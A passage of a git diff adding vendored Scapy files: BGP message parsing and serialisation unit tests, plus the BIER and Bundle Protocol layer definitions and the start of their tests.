BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x8f\x01\x04\xfd\xe8\x00\xb4\n\xff\xff\x01r\x02\x06\x01\x04\x00\x01\x00\x84\x02\x06\x01\x04\x00\x19\x00A\x02\x06\x01\x04\x00\x02\x00\x02\x02\x06\x01\x04\x00\x01\x00\x02\x02\x06\x01\x04\x00\x02\x00\x80\x02\x06\x01\x04\x00\x01\x00\x80\x02\x06\x01\x04\x00\x01\x00B\x02\x06\x01\x04\x00\x02\x00\x01\x02\x06\x01\x04\x00\x02\x00\x04\x02\x06\x01\x04\x00\x01\x00\x01\x02\x06\x01\x04\x00\x01\x00\x04\x02\x02\x80\x00\x02\x02\x02\x00\x02\x04@\x02\x80x\x02\x02F\x00\x02\x06A\x04\x00\x00\xfd\xe8') +assert(BGPHeader in m and BGPOpen in m) + += BGPOpen - Dissection with specific values (4) +m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x8f\x01\x04\xfd\xe8\x00\xb4\n\xff\xff\x02r\x02\x06\x01\x04\x00\x01\x00\x84\x02\x06\x01\x04\x00\x19\x00A\x02\x06\x01\x04\x00\x02\x00\x02\x02\x06\x01\x04\x00\x01\x00\x02\x02\x06\x01\x04\x00\x02\x00\x80\x02\x06\x01\x04\x00\x01\x00\x80\x02\x06\x01\x04\x00\x01\x00B\x02\x06\x01\x04\x00\x02\x00\x01\x02\x06\x01\x04\x00\x02\x00\x04\x02\x06\x01\x04\x00\x01\x00\x01\x02\x06\x01\x04\x00\x01\x00\x04\x02\x02\x80\x00\x02\x02\x02\x00\x02\x04@\x02\x00x\x02\x02F\x00\x02\x06A\x04\x00\x00\xfd\xe8') +assert(BGPHeader in m and BGPOpen in m) + + +################################# BGPPAOrigin ################################# ++ BGPPAOrigin class tests + += BGPPAOrigin - Instantiation +raw(BGPPAOrigin()) == b'\x00' + += BGPPAOrigin - Instantiation with specific values +raw(BGPPAOrigin(origin = 1)) == b'\x01' + += BGPPAOrigin - Dissection +a = BGPPAOrigin(b'\x00') +a.origin == 0 + + +################################ BGPPAASPath ################################## ++ BGPPAASPath class tests + += BGPPAASPath - Instantiation +raw(BGPPAASPath()) == b'' + += BGPPAASPath - Instantiation with specific values (1) +raw(BGPPAASPath(segments = [BGPPAASPath.ASPathSegment(segment_type = 2, segment_value = [64496, 64497, 64498])])) == b'\x02\x03\xfb\xf0\xfb\xf1\xfb\xf2' + += BGPPAASPath - Instantiation with specific values (2) +raw(BGPPAASPath(segments = [BGPPAASPath.ASPathSegment(segment_type = 1, segment_value = [64496, 64497, 64498])])) == b'\x01\x03\xfb\xf0\xfb\xf1\xfb\xf2' + += BGPPAASPath - Instantiation with specific values (3) +raw(BGPPAASPath(segments = [BGPPAASPath.ASPathSegment(segment_type = 1, segment_value = [64496, 64497, 64498]), BGPPAASPath.ASPathSegment(segment_type = 2, segment_value = [64500, 64501, 64502, 64502, 64503])])) == b'\x01\x03\xfb\xf0\xfb\xf1\xfb\xf2\x02\x05\xfb\xf4\xfb\xf5\xfb\xf6\xfb\xf6\xfb\xf7' + += BGPPAASPath - Dissection (1) +a = BGPPAASPath(b'\x02\x03\xfb\xf0\xfb\xf1\xfb\xf2') +a.segments[0].segment_type == 2 and a.segments[0].segment_length == 3 and a.segments[0].segment_value == [64496, 64497, 64498] + += BGPPAASPath - Dissection (2) +a = BGPPAASPath(b'\x01\x03\xfb\xf0\xfb\xf1\xfb\xf2\x02\x05\xfb\xf4\xfb\xf5\xfb\xf6\xfb\xf6\xfb\xf7') +a.segments[0].segment_type == 1 and a.segments[0].segment_length == 3 and a.segments[0].segment_value == [64496, 64497, 64498] and a.segments[1].segment_type == 2 and a.segments[1].segment_length == 5 and a.segments[1].segment_value == [64500, 64501, 64502, 64502, 64503] + + +############################### BGPPANextHop ################################## ++ BGPPANextHop class tests + += BGPPANextHop - Instantiation +raw(BGPPANextHop()) == b'\x00\x00\x00\x00' + += BGPPANextHop - Instantiation with specific values +raw(BGPPANextHop(next_hop = "192.0.2.1")) == b'\xc0\x00\x02\x01' + += BGPPANextHop - Basic dissection +a = BGPPANextHop(b'\x00\x00\x00\x00') +a.next_hop == "0.0.0.0" + += BGPPANextHop - Dissection with specific values +a = BGPPANextHop(b'\xc0\x00\x02\x01') +a.next_hop == '192.0.2.1' + + +############################ BGPPAMultiExitDisc ############################## ++ BGPPAMultiExitDisc class tests + += BGPPAMultiExitDisc - Instantiation +raw(BGPPAMultiExitDisc()) == b'\x00\x00\x00\x00' + += BGPPAMultiExitDisc - Instantiation with specific values (1) +raw(BGPPAMultiExitDisc(med = 4)) == b'\x00\x00\x00\x04' + += BGPPAMultiExitDisc - Basic dissection +a = BGPPAMultiExitDisc(b'\x00\x00\x00\x00') +a.med == 0 + + +############################## BGPPALocalPref ################################ ++ BGPPALocalPref class tests + += BGPPALocalPref - Instantiation +raw(BGPPALocalPref()) == b'\x00\x00\x00\x00' + += BGPPALocalPref - Instantiation with specific values (1) +raw(BGPPALocalPref(local_pref = 110)) == b'\x00\x00\x00n' + += BGPPALocalPref - Basic dissection +a = BGPPALocalPref(b'\x00\x00\x00n') +a.local_pref == 110 + + +############################## BGPPAAggregator ############################### ++ BGPPAAggregator class tests + += BGPPAAggregator - Instantiation +raw(BGPPAAggregator()) == b'\x00\x00\x00\x00\x00\x00' + += BGPPAAggregator - Instantiation with specific values (1) +raw(BGPPAAggregator(aggregator_asn = 64500, speaker_address = "192.0.2.1")) == b'\xfb\xf4\xc0\x00\x02\x01' + += BGPPAAggregator - Dissection +a = BGPPAAggregator(b'\xfb\xf4\xc0\x00\x02\x01') +a.aggregator_asn == 64500 and a.speaker_address == "192.0.2.1" + + +############################## BGPPACommunity ################################ ++ BGPPACommunity class tests + += BGPPACommunity - Basic instantiation +raw(BGPPACommunity()) == b'\x00\x00\x00\x00' + += BGPPACommunity - Instantiation with specific value +raw(BGPPACommunity(community = 0xFFFFFF01)) == b'\xff\xff\xff\x01' + += BGPPACommunity - Dissection +a = BGPPACommunity(b'\xff\xff\xff\x01') +a.community == 0xFFFFFF01 + + +############################ BGPPAOriginatorID ############################### ++ BGPPAOriginatorID class tests + += BGPPAOriginatorID - Basic instantiation +raw(BGPPAOriginatorID()) == b'\x00\x00\x00\x00' + += BGPPAOriginatorID - Instantiation with specific value +raw(BGPPAOriginatorID(originator_id = '192.0.2.1')) == b'\xc0\x00\x02\x01' + += BGPPAOriginatorID - Dissection +a = BGPPAOriginatorID(b'\xc0\x00\x02\x01') +a.originator_id == "192.0.2.1" + + +############################ BGPPAClusterList ################################ ++ BGPPAClusterList class tests + += BGPPAClusterList - Basic instantiation +raw(BGPPAClusterList()) == b'' + += BGPPAClusterList - Instantiation with specific values +raw(BGPPAClusterList(cluster_list = [150000, 165465465, 132132])) == b'\x00\x02I\xf0\t\xdc\xcdy\x00\x02\x04$' + += BGPPAClusterList - Dissection +a = BGPPAClusterList(b'\x00\x02I\xf0\t\xdc\xcdy\x00\x02\x04$') +a.cluster_list[0] == 150000 and a.cluster_list[1] == 165465465 and a.cluster_list[2] == 132132 + + +########################### BGPPAMPReachNLRI ############################### ++ BGPPAMPReachNLRI class tests + += BGPPAMPReachNLRI - Instantiation +raw(BGPPAMPReachNLRI()) == b'\x00\x00\x00\x00\x00' + += BGPPAMPReachNLRI - Instantiation with specific values (1) +raw(BGPPAMPReachNLRI(afi=2, safi=1, nh_addr_len=16, nh_v6_addr = "2001:db8::2", nlri = [BGPNLRI_IPv6(prefix = "2001:db8:2::/64")])) == b'\x00\x02\x01\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00@ \x01\r\xb8\x00\x02\x00\x00' + += BGPPAMPReachNLRI - Dissection (1) +a = BGPPAMPReachNLRI(b'\x00\x02\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\xfe\x80\x00\x00\x00\x00\x00\x00\xc0\x02\x0b\xff\xfe~\x00\x00\x00@ \x01\r\xb8\x00\x02\x00\x02@ \x01\r\xb8\x00\x02\x00\x01@ \x01\r\xb8\x00\x02\x00\x00') +a.afi == 2 and a.safi == 1 and a.nh_addr_len == 32 and a.nh_v6_global == "2001:db8::2" and a.nh_v6_link_local == "fe80::c002:bff:fe7e:0" and a.reserved == 0 and a.nlri[0].prefix == "2001:db8:2:2::/64" and a.nlri[1].prefix == "2001:db8:2:1::/64" and a.nlri[2].prefix == "2001:db8:2::/64" + += BGPPAMPReachNLRI - Dissection (2) +a = BGPPAMPReachNLRI(b'\x00\x02\x01 \xfe\x80\x00\x00\x00\x00\x00\x00\xfa\xc0\x01\x00\x15\xde\x15\x81\xfe\x80\x00\x00\x00\x00\x00\x00\xfa\xc0\x01\x00\x15\xde\x15\x81\x00\x06\x04\x05\x08\x04\x10\x03`\x03\x80\x03\xa0\x03\xc0\x04\xe0\x05\xf0\x06\xf8\t\xfe\x00\x16 \x01<\x08-\x07.\x040\x10?\xfe\x10 \x02\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff@\x01\x00\x00\x00\x00\x00\x00\x00\x17 \x01\x00 \x01\x00\x000 \x01\x00\x02\x00\x00 \x01\r\xb8\x1c \x01\x00\x10\x07\xfc\n\xfe\x80\x08\xff\n\xfe\xc0\x03 \x03@\x08_`\x00d\xff\x9b\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x08\x01\x07\x02') +a.afi == 2 and a.safi == 1 and a.nh_addr_len == 32 and a.nh_v6_global == "fe80::fac0:100:15de:1581" and a.nh_v6_link_local == "fe80::fac0:100:15de:1581" and a.reserved == 0 and a.nlri[0].prefix == "400::/6" and a.nlri[1].prefix == "800::/5" and raw(a.nlri[18]) == b'`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff' and a.nlri[35].prefix == "200::/7" + + +############################# BGPPAMPUnreachNLRI ############################# ++ BGPPAMPUnreachNLRI class tests + += BGPPAMPUnreachNLRI - Instantiation +raw(BGPPAMPUnreachNLRI()) == b'\x00\x00\x00' + += BGPPAMPUnreachNLRI - Instantiation with specific values (1) +raw(BGPPAMPUnreachNLRI(afi = 2, safi = 1)) == b'\x00\x02\x01' + += BGPPAMPUnreachNLRI - Instantiation with specific values (2) +raw(BGPPAMPUnreachNLRI(afi = 2, safi = 1, afi_safi_specific = BGPPAMPUnreachNLRI_IPv6(withdrawn_routes = [BGPNLRI_IPv6(prefix = "2001:db8:2::/64")]))) == b'\x00\x02\x01@ \x01\r\xb8\x00\x02\x00\x00' + += BGPPAMPUnreachNLRI - Dissection (1) +a = BGPPAMPUnreachNLRI(b'\x00\x02\x01') +a.afi == 2 and a.safi == 1 + += BGPPAMPUnreachNLRI - Dissection (2) +a = BGPPAMPUnreachNLRI(b'\x00\x02\x01\x03`\x03\x80\x03\xa0\x03\xc0\x04\xe0\x05\xf0\x06\xf8\x10 \x02`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff@\x01\x00\x00\x00\x00\x00\x00\x00\x17 \x01\x00 \x01\x00\x000 \x01\x00\x02\x00\x00 \x01\r\xb8\n\xfe\xc0\x07\xfc\n\xfe\x80\x1c \x01\x00\x10\x03 \x06\x04\x03@\x08_\x05\x08\x04\x10') +a.afi == 2 and a.safi == 1 and a.afi_safi_specific.withdrawn_routes[0].prefix == "6000::/3" and a.afi_safi_specific.withdrawn_routes[11].prefix == "2001::/32" and a.afi_safi_specific.withdrawn_routes[23].prefix == "1000::/4" + + +############################# BGPPAAS4Aggregator ############################# ++ BGPPAAS4Aggregator class tests + += BGPPAAS4Aggregator - Instantiation +raw(BGPPAAS4Aggregator()) == b'\x00\x00\x00\x00\x00\x00\x00\x00' + += BGPPAAS4Aggregator - Instantiation with specific values +raw(BGPPAAS4Aggregator(aggregator_asn = 644566565, speaker_address = "192.0.2.1")) == b'&kN%\xc0\x00\x02\x01' + += BGPPAAS4Aggregator - Dissection +a = BGPPAAS4Aggregator(b'&kN%\xc0\x00\x02\x01') +a.aggregator_asn == 644566565 and a.speaker_address == "192.0.2.1" + + +################################ BGPPathAttr ################################# ++ BGPPathAttr class tests + += BGPPathAttr - Instantiation +raw(BGPPathAttr()) == b'\x80\x00\x00' + += BGPPathAttr - Instantiation with specific values (1) +raw(BGPPathAttr(type_code = 1, attribute = BGPPAOrigin(origin = 0))) + += BGPPathAttr - Instantiation with specific values (2) +raw(BGPPathAttr(type_code = 2, attribute = BGPPAASPath(segments = [BGPPAASPath.ASPathSegment(segment_type = 2, segment_value = [64501, 64501, 64501])]))) == b'\x80\x02\x08\x02\x03\xfb\xf5\xfb\xf5\xfb\xf5' + += BGPPathAttr - Instantiation with specific values (3) + +raw(BGPPathAttr(type_code = 14, attribute = BGPPAMPReachNLRI(afi = 2, safi = 1, nh_addr_len = 16, nh_v6_addr = "2001:db8::2", nlri = [BGPNLRI_IPv6(prefix = "2001:db8:2::/64")]))) == b'\x80\x0e\x1e\x00\x02\x01\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00@ \x01\r\xb8\x00\x02\x00\x00' + += BGPPathAttr - Dissection (1) +a = BGPPathAttr(b'\x90\x0f\x00X\x00\x02\x01\x03`\x03\x80\x03\xa0\x03\xc0\x04\xe0\x05\xf0\x06\xf8\x10 \x02`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff@\x01\x00\x00\x00\x00\x00\x00\x00\x17 \x01\x00 \x01\x00\x000 \x01\x00\x02\x00\x00 \x01\r\xb8\n\xfe\xc0\x07\xfc\n\xfe\x80\x1c \x01\x00\x10\x03 \x06\x04\x03@\x08_\x05\x08\x04\x10') +a.type_flags == 0x90 and a.type_code == 15 and a.attr_ext_len == 88 and a.attribute.afi == 2 and a.attribute.safi == 1 and a.attribute.afi_safi_specific.withdrawn_routes[0].prefix == "6000::/3" and a.attribute.afi_safi_specific.withdrawn_routes[1].prefix == "8000::/3" and a.attribute.afi_safi_specific.withdrawn_routes[2].prefix == "a000::/3" and a.attribute.afi_safi_specific.withdrawn_routes[3].prefix == "c000::/3" and a.attribute.afi_safi_specific.withdrawn_routes[4].prefix == "e000::/4" and a.attribute.afi_safi_specific.withdrawn_routes[5].prefix == "f000::/5" and a.attribute.afi_safi_specific.withdrawn_routes[23].prefix == "1000::/4" + += BGPPathAttr - advanced +b = BGPPathAttr(type_code=0x10, attribute=BGPPAExtComms(extended_communities=[ + BGPPAExtCommunity(value=BGPPAExtCommTwoOctetASSpecific()), + BGPPAExtCommunity(value=BGPPAExtCommIPv4AddressSpecific()), + BGPPAExtCommunity(value=BGPPAExtCommFourOctetASSpecific()), + BGPPAExtCommunity(value=BGPPAExtCommOpaque()), + BGPPAExtCommunity(value=BGPPAExtCommTrafficMarking()), + BGPPAExtCommunity(value=BGPPAExtCommRedirectIPv4()), + BGPPAExtCommunity(value=BGPPAExtCommRedirectAS4Byte()), + ])) +b = BGPPathAttr(raw(b)) +cls_list = [x.value.__class__ for x in b.attribute.extended_communities] +assert cls_list == [BGPPAExtCommTwoOctetASSpecific, BGPPAExtCommIPv4AddressSpecific, BGPPAExtCommFourOctetASSpecific, BGPPAExtCommOpaque, + BGPPAExtCommTrafficMarking, BGPPAExtCommRedirectIPv4, BGPPAExtCommRedirectAS4Byte] +b.show() + +################################# BGPUpdate ################################## ++ BGPUpdate class tests + += BGPUpdate - Instantiation +raw(BGPUpdate()) == b'\x00\x00\x00\x00' + += BGPUpdate - Dissection (1) +bgp_module_conf.use_2_bytes_asn = True +m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x000\x02\x00\x19\x18\xc0\xa8\x96\x18\x07\x07\x07\x18\xc63d\x18\xc0\xa8\x01\x19\x06\x06\x06\x00\x18\xc0\xa8\x1a\x00\x00') +assert(BGPHeader in m and BGPUpdate in m) +assert(m.withdrawn_routes_len == 25) +assert(m.withdrawn_routes[0].prefix == "192.168.150.0/24") +assert(m.withdrawn_routes[5].prefix == "192.168.26.0/24") +assert(m.path_attr_len == 0) + += BGPUpdate - Behave like a NEW speaker (RFC 6793) - Dissection (2) +bgp_module_conf.use_2_bytes_asn = False +m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00=\x02\x00\x00\x00"@\x01\x01\x00@\x02\x06\x02\x01\x00\x00\xfb\xfa@\x03\x04\xc0\xa8\x10\x06\x80\x04\x04\x00\x00\x00\x00\xc0\x08\x04\xff\xff\xff\x01\x18\xc0\xa8\x01') +assert(BGPHeader in m and BGPUpdate in m) +assert(m.path_attr[1].attribute.segments[0].segment_value == [64506]) +assert(m.path_attr[4].attribute.community == 0xFFFFFF01) +assert(m.nlri[0].prefix == "192.168.1.0/24") + + + += BGPUpdate - Dissection (MP_REACH_NLRI) +m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\xd8\x02\x00\x00\x00\xc1@\x01\x01\x00@\x02\x06\x02\x01\x00\x00\xfb\xf6\x90\x0e\x00\xb0\x00\x02\x01 \xfe\x80\x00\x00\x00\x00\x00\x00\xfa\xc0\x01\x00\x15\xde\x15\x81\xfe\x80\x00\x00\x00\x00\x00\x00\xfa\xc0\x01\x00\x15\xde\x15\x81\x00\x06\x04\x05\x08\x04\x10\x03`\x03\x80\x03\xa0\x03\xc0\x04\xe0\x05\xf0\x06\xf8\t\xfe\x00\x16 \x01<\x08-\x07.\x040\x10?\xfe\x10 \x02\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff@\x01\x00\x00\x00\x00\x00\x00\x00\x17 \x01\x00 \x01\x00\x000 \x01\x00\x02\x00\x00 \x01\r\xb8\x1c \x01\x00\x10\x07\xfc\n\xfe\x80\x08\xff\n\xfe\xc0\x03 \x03@\x08_`\x00d\xff\x9b\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x08\x01\x07\x02') +assert(BGPHeader in m and BGPUpdate in m) +assert(m.path_attr[2].attribute.afi == 2) +assert(m.path_attr[2].attribute.safi == 1) +assert(m.path_attr[2].attribute.nh_addr_len == 32) +assert(m.path_attr[2].attribute.nh_v6_global == "fe80::fac0:100:15de:1581") +assert(m.path_attr[2].attribute.nh_v6_link_local == "fe80::fac0:100:15de:1581") +assert(m.path_attr[2].attribute.nlri[0].prefix == "400::/6") +assert(m.nlri == []) + += BGPUpdate - Dissection (MP_UNREACH_NLRI) +m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00s\x02\x00\x00\x00\\\x90\x0f\x00X\x00\x02\x01\x03`\x03\x80\x03\xa0\x03\xc0\x04\xe0\x05\xf0\x06\xf8\x10 \x02`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff@\x01\x00\x00\x00\x00\x00\x00\x00\x17 \x01\x00 \x01\x00\x000 \x01\x00\x02\x00\x00 \x01\r\xb8\n\xfe\xc0\x07\xfc\n\xfe\x80\x1c \x01\x00\x10\x03 \x06\x04\x03@\x08_\x05\x08\x04\x10') +assert(BGPHeader in m and BGPUpdate in m) +assert(m.path_attr[0].attribute.afi == 2) +assert(m.path_attr[0].attribute.safi == 1) +assert(m.path_attr[0].attribute.afi_safi_specific.withdrawn_routes[0].prefix == "6000::/3") +assert(m.nlri == []) + += BGPUpdate - with BGPHeader +p = BGP(raw(BGPHeader()/BGPUpdate())) +assert(BGPHeader in p and BGPUpdate in p) + + +########## BGPNotification Class ################################### ++ BGPNotification class tests + += BGPNotification - Instantiation +raw(BGPNotification()) == b'\x00\x00' + += BGPNotification - Dissection (Administratively Reset) +m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x15\x03\x06\x04') +m.type == BGP.NOTIFICATION_TYPE and m.error_code == 6 and m.error_subcode == 4 + += BGPNotification - Dissection (Bad Peer AS) +m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x17\x03\x02\x02\x00\x00') +m.type == BGP.NOTIFICATION_TYPE and m.error_code == 2 and m.error_subcode == 2 + += BGPNotification - Dissection (Attribute Flags Error) +m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x19\x03\x03\x04\x80\x01\x01\x00') +m.type == BGP.NOTIFICATION_TYPE and m.error_code == 3 and m.error_subcode == 4 + + +########## BGPRouteRefresh Class ################################### ++ BGPRouteRefresh class tests + += BGPRouteRefresh - Instantiation +raw(BGPRouteRefresh()) == b'\x00\x01\x00\x01' + += BGPRouteRefresh - Instantiation with specific values +raw(BGPRouteRefresh(afi = 1, safi = 1)) == b'\x00\x01\x00\x01' + += BGPRouteRefresh - Dissection (1) +m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x17\x05\x00\x02\x00\x01') +m.type == BGP.ROUTEREFRESH_TYPE and m.len == 23 and m.afi == 2 and m.subtype == 0 and m.safi == 1 + + += BGPRouteRefresh - Dissection (2) - With ORFs +m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00.\x05\x00\x01\x00\x01\x01\x80\x00\x13 \x00\x00\x00\x05\x18\x18\x15\x01\x01\x00\x00\x00\x00\x00\n\x00 \x00') +assert(m.type == BGP.ROUTEREFRESH_TYPE) +assert(m.len == 46) +assert(m.afi == 1) +assert(m.subtype == 0) +assert(m.safi == 1) +assert(m.orf_data[0].when_to_refresh == 1) +assert(m.orf_data[0].orf_type == 128) +assert(m.orf_data[0].orf_len == 19) +assert(len(m.orf_data[0].entries) == 2) +assert(m.orf_data[0].entries[0].action == 0) +assert(m.orf_data[0].entries[0].match == 1) +assert(m.orf_data[0].entries[0].prefix.prefix == "1.1.0.0/21") +assert(m.orf_data[0].entries[1].action == 0) +assert(m.orf_data[0].entries[1].match == 0) +assert(m.orf_data[0].entries[1].prefix.prefix == "0.0.0.0/0") + + +########## BGPCapGeneric fuzz() ################################### ++ BGPCapGeneric fuzz() + += BGPCapGeneric fuzz() +for i in range(10): + assert isinstance(raw(fuzz(BGPCapGeneric())), bytes) diff --git a/libs/scapy/contrib/bier.py b/libs/scapy/contrib/bier.py new file mode 100755 index 0000000..2e6b6f7 --- /dev/null +++ b/libs/scapy/contrib/bier.py @@ -0,0 +1,69 @@ +# This file is part of Scapy +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + +# scapy.contrib.description = Bit Index Explicit Replication (BIER) +# scapy.contrib.status = loads + +from scapy.packet import Packet, bind_layers +from scapy.fields import BitEnumField, BitField, BitFieldLenField, ByteField, \ + ShortField, StrLenField +from scapy.layers.inet import IP, UDP +from scapy.layers.inet6 import IPv6 + + +class BIERLength: + BIER_LEN_64 = 0 + BIER_LEN_128 = 1 + BIER_LEN_256 = 2 + BIER_LEN_512 = 3 + BIER_LEN_1024 = 4 + + +BIERnhcls = {1: "MPLS", + 2: "MPLS", + 4: "IPv4", + 5: "IPv6"} + + +class BIFT(Packet): + name = "BIFT" + fields_desc = [BitField("bsl", BIERLength.BIER_LEN_256, 4), + BitField("sd", 0, 8), + BitField("set", 0, 8), + BitField("cos", 0, 3), + BitField("s", 1, 1), + ByteField("ttl", 0)] + + +class BIER(Packet): + name = "BIER" + fields_desc = [BitField("id", 5, 4), + BitField("version", 0, 4), + BitFieldLenField("length", BIERLength.BIER_LEN_256, 4, + length_of=lambda x:(x.BitString >> 8)), + BitField("entropy", 0, 20), + BitField("OAM", 0, 2), + BitField("RSV", 0, 2), + BitField("DSCP", 0, 6), + BitEnumField("Proto", 2, 6, BIERnhcls), + ShortField("BFRID", 0), + StrLenField("BitString", + "", + length_from=lambda x:(8 << x.length))] + + +bind_layers(BIER, IP, Proto=4) +bind_layers(BIER, IPv6, Proto=5) +bind_layers(UDP, BIFT, dport=8138) +bind_layers(BIFT, BIER) diff --git a/libs/scapy/contrib/bier.uts b/libs/scapy/contrib/bier.uts new file mode 100755 index 0000000..a2a6bd6 --- /dev/null +++ b/libs/scapy/contrib/bier.uts @@ -0,0 +1,22 @@ +# BIER unit tests +# +# Type the following command to launch start the tests: +# $ test/run_tests -P "load_contrib('bier')" -P "load_contrib('mpls')" -t scapy/contrib/bier.uts + ++ BIER tests + += BIER - build/dissection + +from scapy.contrib.mpls import MPLS + +p1 = MPLS()/BIER(length=BIERLength.BIER_LEN_256)/IP()/UDP() +assert(p1[MPLS].s == 1) +p2 = BIFT()/BIER(length=BIERLength.BIER_LEN_64)/IP()/UDP() +assert(p2[BIFT].s == 1) + +p1[MPLS] +p1[BIER] +p1[IP] +p2[BIFT] +p2[BIER] +p2[IP] diff --git a/libs/scapy/contrib/bp.py b/libs/scapy/contrib/bp.py new file mode 100755 index 0000000..b5ec59f --- /dev/null +++ b/libs/scapy/contrib/bp.py @@ -0,0 +1,128 @@ +# This file is part of Scapy +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + +""" + Copyright 2012, The MITRE Corporation:: + + NOTICE + This software/technical data was produced for the U.S. Government + under Prime Contract No. NASA-03001 and JPL Contract No. 1295026 + and is subject to FAR 52.227-14 (6/87) Rights in Data General, + and Article GP-51, Rights in Data General, respectively. + This software is publicly released under MITRE case #12-3054 +""" + +# scapy.contrib.description = Bundle Protocol (BP) +# scapy.contrib.status = loads + +from scapy.packet import Packet, bind_layers +from scapy.fields import ByteEnumField, ByteField, ConditionalField, \ + StrLenField +from scapy.contrib.sdnv import SDNV2FieldLenField, SDNV2LenField, SDNV2 +from scapy.contrib.ltp import LTP, ltp_bind_payload + + +class BP(Packet): + name = "BP" + fields_desc = [ByteField('version', 0x06), + SDNV2('ProcFlags', 0), + SDNV2LenField('BlockLen', None), + SDNV2('DSO', 0), + SDNV2('DSSO', 0), + SDNV2('SSO', 0), + SDNV2('SSSO', 0), + SDNV2('RTSO', 0), + SDNV2('RTSSO', 0), + SDNV2('CSO', 0), + SDNV2('CSSO', 0), + SDNV2('CT', 0), + SDNV2('CTSN', 0), + SDNV2('LT', 0), + SDNV2('DL', 0), + ConditionalField(SDNV2("FO", 0), lambda x: ( + x.ProcFlags & 0x01)), + ConditionalField(SDNV2("ADUL", 0), lambda x: ( + x.ProcFlags & 0x01)), + ] + + def mysummary(self): + tmp = "BP(%version%) flags(" + if (self.ProcFlags & 0x01): + tmp += ' FR' + if (self.ProcFlags & 0x02): + tmp += ' AR' + if (self.ProcFlags & 0x04): + tmp += ' DF' + if (self.ProcFlags & 0x08): + tmp += ' CT' + if (self.ProcFlags & 0x10): + tmp += ' S' + if (self.ProcFlags & 0x20): + tmp += ' ACKME' + RAWCOS = (self.ProcFlags & 0x0180) + COS = RAWCOS >> 7 + cos_tmp = '' + if COS == 0x00: + cos_tmp += 'B ' + if COS == 0x01: + cos_tmp += 'N ' + if COS == 0x02: + cos_tmp += 'E ' + if COS & 0xFE000: + cos_tmp += 'SRR: (' + if COS & 0x02000: + cos_tmp += 'Rec ' + if COS & 0x04000: + cos_tmp += 'CA ' + if COS & 0x08000: + cos_tmp += 'FWD ' + if COS & 0x10000: + cos_tmp += 'DLV ' + if COS & 0x20000: + cos_tmp += 'DEL ' + if COS & 0xFE000: + cos_tmp += ') ' + + if cos_tmp: + tmp += ' Pr: ' + cos_tmp + + tmp += " ) len(%BlockLen%) " + if self.DL == 0: + tmp += "CBHE: d[%DSO%,%DSSO%] s[%SSO%, %SSSO%] r[%RTSO%, %RTSSO%] c[%CSO%, %CSSO%] " # noqa: E501 + else: + tmp += "dl[%DL%] " + tmp += "ct[%CT%] ctsn[%CTSN%] lt[%LT%] " + if (self.ProcFlags & 0x01): + tmp += "fo[%FO%] " + tmp += "tl[%ADUL%]" + + return self.sprintf(tmp), [LTP] + + +class BPBLOCK(Packet): + fields_desc = [ByteEnumField('Type', 1, {1: "Bundle payload block"}), + SDNV2('ProcFlags', 0), + SDNV2FieldLenField('BlockLen', None, length_of="load"), + StrLenField("load", "", + length_from=lambda pkt: pkt.BlockLen, + max_length=65535) + ] + + def mysummary(self): + return self.sprintf("BPBLOCK(%Type%) Flags: %ProcFlags% Len: %BlockLen%") # noqa: E501 + + +ltp_bind_payload(BP, lambda pkt: pkt.DATA_ClientServiceID == 1) +bind_layers(BP, BPBLOCK) +bind_layers(BPBLOCK, BPBLOCK) diff --git a/libs/scapy/contrib/bp.uts b/libs/scapy/contrib/bp.uts new file mode 100755 index 0000000..cf738c6 --- /dev/null +++ b/libs/scapy/contrib/bp.uts @@ -0,0 +1,33 @@ +% Bundle Protocol tests + +############ +############ ++ Bundle Protocol (BP) 